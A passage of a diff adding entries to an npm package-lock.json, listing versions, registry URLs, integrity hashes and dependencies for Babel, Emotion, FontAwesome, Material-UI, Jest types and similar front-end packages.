"sha512-zbMsPMy/v0PWFZEhQJ66bqjhH+z0JgMoBWuikXybgG3Gkd/3t5oQ1Rw2WQhnSrsOmsKXnZOx15tkC4qON/+JPg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.8.3", + "@babel/parser": "^7.8.6", + "@babel/types": "^7.8.6" + } + }, + "node_modules/@babel/traverse": { + "version": "7.9.6", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.9.6.tgz", + "integrity": "sha512-b3rAHSjbxy6VEAvlxM8OV/0X4XrG72zoxme6q1MOoe2vd0bEc+TwayhuC1+Dfgqh1QEG+pj7atQqvUprHIccsg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.8.3", + "@babel/generator": "^7.9.6", + "@babel/helper-function-name": "^7.9.5", + "@babel/helper-split-export-declaration": "^7.8.3", + "@babel/parser": "^7.9.6", + "@babel/types": "^7.9.6", + "debug": "^4.1.0", + "globals": "^11.1.0", + "lodash": "^4.17.13" + } + }, + "node_modules/@babel/traverse/node_modules/debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dev": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/@babel/traverse/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/@babel/types": { + "version": "7.9.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.6.tgz", + "integrity": "sha512-qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.9.5", + "lodash": "^4.17.13", + "to-fast-properties": "^2.0.0" + } + }, + "node_modules/@discoveryjs/json-ext": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.5.tgz", + "integrity": "sha512-6nFkfkmSeV/rqSaS4oWHgmpnYw194f6hmWF5is6b0J1naJZoiD0NTc9AiUwPHvWsowkjuHErCZT1wa0jg+BLIA==", + "dev": true, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@emotion/cache": { + "version": "10.0.29", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.29.tgz", + "integrity": "sha512-fU2VtSVlHiF27empSbxi1O2JFdNWZO+2NFHfwO0pxgTep6Xa3uGb+3pVKfLww2l/IBGLNEZl5Xf/++A4wAYDYQ==", + "dependencies": { + "@emotion/sheet": "0.9.4", + "@emotion/stylis": "0.8.5", + "@emotion/utils": "0.11.3", + "@emotion/weak-memoize": "0.2.5" + } + }, + "node_modules/@emotion/core": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.1.1.tgz", + "integrity": "sha512-ZMLG6qpXR8x031NXD8HJqugy/AZSkAuMxxqB46pmAR7ze47MhNJ56cdoX243QPZdGctrdfo+s08yZTiwaUcRKA==", + "dependencies": { + "@babel/runtime": "^7.5.5", + "@emotion/cache": "^10.0.27", + "@emotion/css": "^10.0.27", + "@emotion/serialize": "^0.11.15", + "@emotion/sheet": "0.9.4", + "@emotion/utils": "0.11.3" + }, + "peerDependencies": { + "react": ">=16.3.0" + } + }, + "node_modules/@emotion/css": { + "version": "10.0.27", + "resolved": "https://registry.npmjs.org/@emotion/css/-/css-10.0.27.tgz", + "integrity": "sha512-6wZjsvYeBhyZQYNrGoR5yPMYbMBNEnanDrqmsqS1mzDm1cOTu12shvl2j4QHNS36UaTE0USIJawCH9C8oW34Zw==", + "dependencies": { + "@emotion/serialize": "^0.11.15", + "@emotion/utils": "0.11.3", + "babel-plugin-emotion": "^10.0.27" + } + }, + "node_modules/@emotion/hash": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.8.0.tgz", + "integrity": "sha512-kBJtf7PH6aWwZ6fka3zQ0p6SBYzx4fl1LoZXE2RrnYST9Xljm7WfKJrU4g/Xr3Beg72MLrp1AWNUmuYJTL7Cow==" + }, + "node_modules/@emotion/memoize": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.4.tgz", + "integrity": "sha512-Ja/Vfqe3HpuzRsG1oBtWTHk2PGZ7GR+2Vz5iYGelAw8dx32K0y7PjVuxK6z1nMpZOqAFsRUPCkK1YjJ56qJlgw==" + }, + "node_modules/@emotion/serialize": { + "version": "0.11.16", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-0.11.16.tgz", + "integrity": "sha512-G3J4o8by0VRrO+PFeSc3js2myYNOXVJ3Ya+RGVxnshRYgsvErfAOglKAiy1Eo1vhzxqtUvjCyS5gtewzkmvSSg==", + "dependencies": { + "@emotion/hash": "0.8.0", + "@emotion/memoize": "0.7.4", + "@emotion/unitless": "0.7.5", + "@emotion/utils": "0.11.3", + "csstype": "^2.5.7" + } + }, + "node_modules/@emotion/sheet": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.4.tgz", + "integrity": "sha512-zM9PFmgVSqBw4zL101Q0HrBVTGmpAxFZH/pYx/cjJT5advXguvcgjHFTCaIO3enL/xr89vK2bh0Mfyj9aa0ANA==" + }, + "node_modules/@emotion/stylis": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.5.tgz", + "integrity": "sha512-h6KtPihKFn3T9fuIrwvXXUOwlx3rfUvfZIcP5a6rh8Y7zjE3O06hT5Ss4S/YI1AYhuZ1kjaE/5EaOOI2NqSylQ==" + }, + "node_modules/@emotion/unitless": { + "version": "0.7.5", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.5.tgz", + "integrity": "sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==" + }, + "node_modules/@emotion/utils": { + "version": "0.11.3", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.3.tgz", + "integrity": "sha512-0o4l6pZC+hI88+bzuaX/6BgOvQVhbt2PfmxauVaYOGgbsAw14wdKyvMCZXnsnsHys94iadcF+RG/wZyx6+ZZBw==" + }, + "node_modules/@emotion/weak-memoize": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.5.tgz", + "integrity": "sha512-6U71C2Wp7r5XtFtQzYrW5iKFT67OixrSxjI4MptCHzdSVlgabczzqLe0ZSgnub/5Kp4hSbpDB1tMytZY9pwxxA==" + }, + "node_modules/@fortawesome/fontawesome-common-types": { + "version": "0.2.36", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.36.tgz", + "integrity": "sha512-a/7BiSgobHAgBWeN7N0w+lAhInrGxksn13uK7231n2m8EDPE3BMCl9NZLTGrj9ZXfCmC6LM0QLqXidIizVQ6yg==", + "hasInstallScript": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/fontawesome-svg-core": { + "version": "1.2.36", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.36.tgz", + "integrity": "sha512-YUcsLQKYb6DmaJjIHdDWpBIGCcyE/W+p/LMGvjQem55Mm2XWVAP5kWTMKWLv9lwpCVjpLxPyOMOyUocP1GxrtA==", + "hasInstallScript": true, + "dependencies": { + "@fortawesome/fontawesome-common-types": "^0.2.36" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/free-regular-svg-icons": { + "version": "5.15.4", + "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.15.4.tgz", + "integrity": "sha512-9VNNnU3CXHy9XednJ3wzQp6SwNwT3XaM26oS4Rp391GsxVYA+0oDR2J194YCIWf7jNRCYKjUCOduxdceLrx+xw==", + "hasInstallScript": true, + "dependencies": { + "@fortawesome/fontawesome-common-types": "^0.2.36" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/free-solid-svg-icons": { + "version": "5.15.4", + "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.15.4.tgz", + "integrity": "sha512-JLmQfz6tdtwxoihXLg6lT78BorrFyCf59SAwBM6qV/0zXyVeDygJVb3fk+j5Qat+Yvcxp1buLTY5iDh1ZSAQ8w==", + "hasInstallScript": true, + "dependencies": { + "@fortawesome/fontawesome-common-types": "^0.2.36" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@fortawesome/react-fontawesome": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.15.tgz", + "integrity": "sha512-/HFHdcoLESxxMkqZAcZ6RXDJ69pVApwdwRos/B2kiMWxDSAX2dFK8Er2/+rG+RsrzWB/dsAyjefLmemgmfE18g==", + "dependencies": { + "prop-types": "^15.7.2" + }, + "peerDependencies": { + "@fortawesome/fontawesome-svg-core": "^1.2.32", + "react": ">=16.x" + } + }, + "node_modules/@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/@jest/types/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/types/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/@jest/types/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@kunukn/react-collapse": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", + "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==", + "engines": { + "node": ">=8", + "npm": ">=5" + }, + "peerDependencies": { + "react": "^16.8 || ^17.x", + "react-dom": "^16.8 || ^17.x" + } + }, + "node_modules/@material-ui/core": { + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/@material-ui/core/-/core-4.12.3.tgz", + "integrity": "sha512-sdpgI/PL56QVsEJldwEe4FFaFTLUqN+rd7sSZiRCdx2E/C7z5yK0y/khAWVBH24tXwto7I1hCzNWfJGZIYJKnw==", + "deprecated": "You can now upgrade to @mui/material. See the guide: https://mui.com/guides/migration-v4/", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@material-ui/styles": "^4.11.4", + "@material-ui/system": "^4.12.1", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.2", + "@types/react-transition-group": "^4.2.0", + "clsx": "^1.0.4", + "hoist-non-react-statics": "^3.3.2", + "popper.js": "1.16.1-lts", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0", + "react-transition-group": "^4.4.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/icons": { + "version": "4.11.2", + "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.2.tgz", + "integrity": "sha512-fQNsKX2TxBmqIGJCSi3tGTO/gZ+eJgWmMJkgDiOfyNaunNaxcklJQFaFogYcFl0qFuaEz1qaXYXboa/bUXVSOQ==", + "deprecated": "You can now upgrade to @mui/icons. See the guide: https://mui.com/guides/migration-v4/", + "dependencies": { + "@babel/runtime": "^7.4.4" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "@material-ui/core": "^4.0.0", + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/styles": { + "version": "4.11.4", + "resolved": "https://registry.npmjs.org/@material-ui/styles/-/styles-4.11.4.tgz", + "integrity": "sha512-KNTIZcnj/zprG5LW0Sao7zw+yG3O35pviHzejMdcSGCdWbiO8qzRgOYL8JAxAsWBKOKYwVZxXtHWaB5T2Kvxew==", + "deprecated": "You can now upgrade to @mui/styles. See the guide: https://mui.com/guides/migration-v4/", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@emotion/hash": "^0.8.0", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.2", + "clsx": "^1.0.4", + "csstype": "^2.5.2", + "hoist-non-react-statics": "^3.3.2", + "jss": "^10.5.1", + "jss-plugin-camel-case": "^10.5.1", + "jss-plugin-default-unit": "^10.5.1", + "jss-plugin-global": "^10.5.1", + "jss-plugin-nested": "^10.5.1", + "jss-plugin-props-sort": "^10.5.1", + "jss-plugin-rule-value-function": "^10.5.1", + "jss-plugin-vendor-prefixer": "^10.5.1", + "prop-types": "^15.7.2" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/system": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.1.tgz", + "integrity": "sha512-lUdzs4q9kEXZGhbN7BptyiS1rLNHe6kG9o8Y307HCvF4sQxbCgpL2qi+gUk+yI8a2DNk48gISEQxoxpgph0xIw==", + "deprecated": "You can now upgrade to @mui/system. See the guide: https://mui.com/guides/migration-v4/", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@material-ui/utils": "^4.11.2", + "csstype": "^2.5.2", + "prop-types": "^15.7.2" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/types": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", + "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==", + "peerDependencies": { + "@types/react": "*" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/utils": { + "version": "4.11.2", + "resolved": "https://registry.npmjs.org/@material-ui/utils/-/utils-4.11.2.tgz", + "integrity": "sha512-Uul8w38u+PICe2Fg2pDKCaIG7kOyhowZ9vjiC1FsVwPABTW8vPPKfF6OvxRq3IiBaI1faOJmgdvMG7rMJARBhA==", + "dependencies": { + "@babel/runtime": "^7.4.4", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + } + }, + "node_modules/@nicolo-ribaudo/chokidar-2": { + "version": "2.1.8-no-fsevents.3", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz", + "integrity": "sha512-s88O1aVtXftvp5bCPB7WnmXc5IwOZZ7YPuwNPt+GtOOXpPvad1LfbmjYv+qII7zP6RU2QGnqve27dnLycEnyEQ==", + "dev": true, + "optional": true + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@popperjs/core": { + "version": "2.10.2", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.10.2.tgz", + "integrity": "sha512-IXf3XA7+XyN7CP9gGh/XB0UxVMlvARGEgGXLubFICsUMGz6Q+DU+i4gGlpOxTjKvXjkJDJC8YdqdKkDj9qZHEQ==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@react-dnd/asap": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/asap/-/asap-4.0.0.tgz", + "integrity": "sha512-0XhqJSc6pPoNnf8DhdsPHtUhRzZALVzYMTzRwV4VI6DJNJ/5xxfL9OQUwb8IH5/2x7lSf7nAZrnzUD+16VyOVQ==" + }, + "node_modules/@react-dnd/invariant": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/invariant/-/invariant-2.0.0.tgz", + "integrity": "sha512-xL4RCQBCBDJ+GRwKTFhGUW8GXa4yoDfJrPbLblc3U09ciS+9ZJXJ3Qrcs/x2IODOdIE5kQxvMmE2UKyqUictUw==" + }, + "node_modules/@react-dnd/shallowequal": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@react-dnd/shallowequal/-/shallowequal-2.0.0.tgz", + "integrity": "sha512-Pc/AFTdwZwEKJxFJvlxrSmGe/di+aAOBn60sremrpLo6VI/6cmiUYNNwlI5KNYttg7uypzA3ILPMPgxB2GYZEg==" + }, + "node_modules/@restart/context": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@restart/context/-/context-2.1.4.tgz", + "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==", + "peerDependencies": { + "react": ">=16.3.2" + } + }, + "node_modules/@restart/hooks": { + "version": "0.3.27", + "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.27.tgz", + "integrity": "sha512-s984xV/EapUIfkjlf8wz9weP2O9TNKR96C68FfMEy2bE69+H4cNv3RD4Mf97lW7Htt7PjZrYTjSC8f3SB9VCXw==", + "dependencies": { + "dequal": "^2.0.2" + }, + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@stylelint/postcss-css-in-js": { + "version": "0.37.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-css-in-js/-/postcss-css-in-js-0.37.2.tgz", + "integrity": "sha512-nEhsFoJurt8oUmieT8qy4nk81WRHmJynmVwn/Vts08PL9fhgIsMhk1GId5yAN643OzqEEb5S/6At2TZW7pqPDA==", + "dev": true, + "dependencies": { + "@babel/core": ">=7.9.0" + }, + "peerDependencies": { + "postcss": ">=7.0.0", + "postcss-syntax": ">=0.36.2" + } + }, + "node_modules/@stylelint/postcss-markdown": { + "version": "0.36.2", + "resolved": "https://registry.npmjs.org/@stylelint/postcss-markdown/-/postcss-markdown-0.36.2.tgz", + "integrity": "sha512-2kGbqUVJUGE8dM+bMzXG/PYUWKkjLIkRLWNh39OaADkiabDRdw8ATFCgbMz5xdIcvwspPAluSL7uY+ZiTWdWmQ==", + "deprecated": "Use the original unforked package instead: postcss-markdown", + "dev": true, + "dependencies": { + "remark": "^13.0.0", + "unist-util-find-all-after": "^3.0.2" + }, + "peerDependencies": { + "postcss": ">=7.0.0", + "postcss-syntax": ">=0.36.2" + } + }, + "node_modules/@types/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==", + "dev": true + }, + "node_modules/@types/eslint": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.28.0.tgz", + "integrity": "sha512-07XlgzX0YJUn4iG1ocY4IX9DzKSmMGUs6ESKlxWhZRaa0fatIWaHWUVapcuGa8r5HFnTqzj+4OCjd5f7EZ/i/A==", + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.1.tgz", + "integrity": "sha512-SCFeogqiptms4Fg29WpOTk5nHIzfpKCemSN63ksBQYKTcXoJEmJagV+DhVmbapZzY4/5YaOV1nZwrsU79fFm1g==", + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "0.0.50", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.50.tgz", + "integrity": "sha512-C6N5s2ZFtuZRj54k2/zyRhNDjJwwcViAM3Nbm8zjBpbqAdZ00mr0CFxvSKeO8Y/e03WVFLpQMdHYVfUd6SB+Hw==" + }, + "node_modules/@types/history": { + "version": "4.7.9", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", + "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ==" + }, + "node_modules/@types/hoist-non-react-statics": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", + "integrity": "sha512-iMIqiko6ooLrTh1joXodJK5X9xeEALT1kM5G3ZLhD3hszxBdIEd5C75U834D9mLcINgD4OyZf5uQXjkuYydWvA==", + "dependencies": { + "@types/react": "*", + "hoist-non-react-statics": "^3.3.0" + } + }, + "node_modules/@types/html-minifier-terser": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-5.1.2.tgz", + "integrity": "sha512-h4lTMgMJctJybDp8CQrxTUiiYmedihHWkjnF/8Pxseu2S6Nlfcy8kwboQ8yejh456rP2yWoEVm1sS/FVsfM48w==", + "dev": true + }, + "node_modules/@types/http-proxy": { + "version": "1.17.7", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.7.tgz", + "integrity": "sha512-9hdj6iXH64tHSLTY+Vt2eYOGzSogC+JQ2H7bdPWkuh7KXP5qLllWx++t+K9Wk556c3dkDdPws/SpMRi0sdCT1w==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/invariant": { + "version": "2.2.35", + "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.35.tgz", + "integrity": "sha512-DxX1V9P8zdJPYQat1gHyY0xj3efl8gnMVjiM9iCY6y27lj+PoQWkgjt8jDqmovPqULkKVpKRg8J36iQiA+EtEg==" + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz", + "integrity": "sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==", + "dev": true + }, + "node_modules/@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "*" + } + }, + "node_modules/@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-report": "*" + } + }, + "node_modules/@types/jest": { + "version": "26.0.24", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.24.tgz", + "integrity": "sha512-E/X5Vib8BWqZNRlDxj9vYXhsDwPYbPINqKF9BsnSoon4RQ0D9moEuLD8txgyypFLH7J4+Lho9Nr/c8H0Fi+17w==", + "dev": true, + "dependencies": { + "jest-diff": "^26.0.0", + "pretty-format": "^26.0.0" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.5.tgz", + "integrity": "sha512-7+2BITlgjgDhH0vvwZU/HZJVyk+2XUlvxXe8dFMedNX/aMkaOq++rMAFXc0tM7ij15QaWlbdQASBR9dihi+bDQ==" + }, + "node_modules/@types/mdast": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz", + "integrity": 